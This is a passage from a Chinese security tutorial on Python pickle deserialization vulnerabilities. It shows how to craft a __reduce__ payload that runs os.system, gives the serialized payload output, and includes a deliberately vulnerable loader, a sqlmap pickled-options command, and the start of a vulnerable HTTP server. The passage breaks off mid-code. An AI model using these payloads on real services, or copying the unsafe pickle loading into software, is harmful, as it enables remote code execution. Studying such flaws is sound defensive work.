学习
Author:bit4@勾陈安全实验室
0x01 Pickle的典型应用场景
一般在什么场景下需要用到Pickle?
通常在解析认证token,session的时候。(如果你知道更多,欢迎留言补充,感谢!)现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html。
可能将对象Pickle后存储成磁盘文件。
可能将对象Pickle后在网络中传输。
可能参数传递给程序,比如sqlmap的代码执行漏洞
python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="
0x02 如何构造Payload
1.执行系统命令的Payload
首先构造一个简单的包含漏洞的代码。
后续的验证过程中,将生成的Payload放到poc.pickle文件中,使用该代码来读取PoC验证效果(我将其保存为dopickle.py)。
__author__ = 'bit4'
import pickle
pickle.load(open('./poc.pickle'))
值得注意的是,pickle有load
和loads2
个方法,load
需要的参数是文件句柄,loads
所需要的参数是字符串。
pickle允许任意对象去定义一个__reduce__
方法来申明怎么序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。
使用os.system执行命令的payload
#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'
import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" #要执行的命令
return os.system, (s,) #os.system("echo test >poc.txt")
e = genpoc()
poc = cPickle.dumps(e)
print poc
输出内容,也就是Payload:
cnt
system
p1
(S'echo test >poc.txt'
p2
tRp3
.
我们将如上生成的pyload放到poc.pickle文件中,然后执行验证代码dopickle.py,成功执行了"echo test >poc.txt
"。
现在问题来了,如何在实际的web环境中使用这些payload呢?
我们先实现一个简单的httpserver(dopicklehttpserver.py):
#coding:utf-8
__author__ = 'bit4'
import BaseHTTPServer
import urllib
import cPickle
class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):